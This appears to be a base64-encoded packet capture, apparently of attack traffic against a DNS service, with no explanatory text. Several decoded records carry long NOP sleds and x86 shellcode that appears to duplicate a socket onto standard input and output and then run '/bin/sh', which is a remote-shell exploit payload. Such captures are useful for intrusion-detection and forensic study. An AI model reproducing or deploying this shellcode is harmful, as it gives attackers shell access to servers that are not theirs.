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
vC02vIesNn0AzR/4LI3ZjwiSjRiPg24/QxTg+ezQt2dkInG0f8u/8i6Kfl+o
Uq0eLt8n9wTCUOcd6H6rqi4ZtMkggrumQLUVazGZHare1hjSRXvsZBXN9PUi
42iipHB9M4VzsRvbysRywBn3X55/qYOm4NZWnFf1LIOX59Z5xQQAwGVz3in1
koJyp5eRsEKNt9WgrVsqxT5ZrM3Zv+EYh2pQqN5fzlwm0Jgu//EKloz8LKXD
9mJsXQ06fyY/FyhU+kLOqt6qrnGmmaeuQZf4d2PwobubUG3tWANHUMWs7LEm
KmHersT6aemjLFvzEWzqhRw7eo0cZTI4SdhZjvKK+N4i0BiWiaCJmy8uGq0n
ThZUhTtJYNCoxDsqhZNzVjpyzTZnSr5eI+nPgRVEueQmrOyj6Q5ANVTMJUgm
cmRNsn5H2ptcfhYrmaOzlDeE4NLswgAAAgnnfu2C+QObXrZkMEzkghYulOyS
308j/xOO/xEyij8EW/WXWzRulbkIfJrX2foiCo1RUzTxwQSJi+E4XQBgfD05
SOWSHqVlTHAJ/lmqUsjpd21TbuoWkLfaYVOI8ZjIoAoPOGOC84XouwWNtJpE
eM4eyaczzNHspzxk8d36UqFGUvRwgD/8PG91O4nvzDdKQXbgGz1FQtz6YNGe
9mav5PwWnvdGayb17K1YovLXNgvZH/TAbW811TZrN7rcV/lWj6bCmBY2yE+9
CxyR2CMaPKE/r9VCV3z7S915IQ4bGBs3Pvp7xGfvr/FFXvbn2741zgn27gdq
wZEoDgyi+jeOhj4nLB3LDj88xlx6TFzQyFse6a0GCoTU822th4eSr/WF+/td
RXXS+7mBfjXrSVI21Ui5xUUkcL66b21TNo9XayRwFUUiUegdCEpX4WaFO8bm
15i7M3te02QxeImGx/bNaKdgt8VSxllUp04Mc7QY3e3DUd4FDi0Eon0m5vcv
4YY1AlQNANwFAADqBQAAAAD0rwR8AOCjijwACABFAAXczdRAADoGTtrN/WfE
znwaLzRrADU62JMGmOwF5VAQfXhCngAAemkJgAAAAAEAAAAAAAABAAEAAHpp
BgGQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkDHAsD8x27MEMcnNgDHAsD+xAc2AMcCwP7EC
zYDrJF6NHoleCzPSiVYHiVYPuBtWNBI1EFY0Eo1OC4vRzYAzwEDNgOjX////
L2Jpbi9zaACQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQMOGGNXIwAgDcBQAANgAA
AADgo4o8AAAA9K8EfAgARQAAKEgeQABABtREznwaL839Z8QANTRrmOwF5TrY
mLpQEH/gaoIAAAAAAAAAAMv3GHY9whZ7ZctR6aIbUlCGMh+xYUBHPn7WvD/j
tGF+LaFGreRzanr7EaDBkvCcXzuJLWG+gzQo1IrlGbH0f4pP/u2Ita/F8UzT
E2//8VrXPc9fFcxskHrGhi4XFgiz7tvzGeVDHUAALAUcC9AKYuUlY/8XqBgk
uom2OXNyJSjC2CYnoPIoTubl7s4iquMsWM5UcS3JbmmqTE/WTiSTbAMhjnRC
mbEk+bk4xPoCHEPHeYpZH8QFaOtuOhjUMVDldGL8vF1Osd6JbT5QkvxkltT6
mKdXSKVhbVQ8VsSAeZPS6n1GalW9o1XrfEeA+fQI0kr1zbmGH4jnBjz1i0ja
rvdn2NYpPvP9a1ra3tj4+t4/160+fPyZsWBFEiyesG1vomLvw1c5SyHu67gB
VIwdXLdGRKoE23+bFK3znYIehjraIyI0lCoChpajt1pFAMExyGG2LwwFRP1F
Iba7Dr+R9u7/U7gSaFSyC5FD8zRuZQRJcp5n2uQHl4NI/A1yDmibZuNbCl0k
byjTDkpSdB1gqTjOdlPQ51S2w0OU58oiZCkPYGFmivHYjo7b02wuEf5wz3pW
E1XvBetWNXu9hYlcG+sOtNPaRdakct2g2x6Xzn4xnGZPNQCCB7wRA4eHB+RU
4IgJgDCTVuR/M9UYoWCmlzie2wAACLOJdj0E1////y9iaW4vc2gAkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkDDhhjXCZAUA3AUAAJoAAAAAAPSvBHwA4KOKPAAI
AEUAAIzN1kAAOgZUKM39Z8TOfBovNGsANTrYmLqY7AXlUBh9eMzUAACQkJCQ
kJCQkJCQkJCQkJCQkDHAsD8x27MEMcnNgDHAsD+xAc2AMcCwP7ECzYDrJF6N
HoleCzPSiVYHiVYPuBtWNBI1EFY0Eo1OC4vRzYAzwEDNgOjX////L2Jpbi9z
aADA8v+/rSzNlKKOywOBXolGo9LrhjVze8nHg0bgbq4X97OcesWNAveu4TLB
V8trab8seWfclYcRmpuSNPavxjFa/5pnHga+t/Gt1zmBS9748wbPHxUwCoCJ
B0VFRdxT2Zn7hosLTCXDCe2gAAiOyZDuMv/70gQEAAYoWdSrGHtwzMp6YWMP
Xhk1aVBMYe3C+qspyYw9uCYfGCb7SBGRZak4fg1oyu02GRMgVQf2CFrRVwqB
BtTjFVSJMqHBNeTxeCXsv6yV+YnLYBonlp6/bkTmZZB8Gzkhh6GYJj0O125P
5Ab52B9yLlbW2dsnWMHeQlPJdLQlShh+Jk/oB/ltUSiYj6cGZTVVy4kVpbo7
hCp76xPHtq7i4T2lxqG+tT7dbtLjEanq/javn0zTP1rPzrPzq00td2t8fWPq
mIvGDyaYeUAgKs9W8st/qlScLL6dXpeUuwBMsEsEPF7I6ysp8xBeiEZMxsac
6CZShsy2HIBgErVjJrMtY06pVG70nQmNgXUVEQ0UBZhL2J2mSs1eOHWY0Tyv
3FaOJQzecaFuvOrKFNf///8vYmluL3NoAJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJAw4YY1wmQFANwFAADqBQAAAOCjijwAAAD0rwR8CABFAAXcSCJAAEAGzozO
fBovzf1nxAA1NGuY7AXlOtiZHlAYf+BEiQAABhh6aYmFAAAAAQAAAAAAAAEA
AQAAemkGAZCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQMcCwPzHbswQxyc2AMcCwP7EBzYAx
wLA/sQLNgOskXo0eiV4LM9KJVgeJVg+4G1Y0EjUQVjQSjU4Li9HNgDPAQM2A
6Nf///8vYmluL3NoAJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
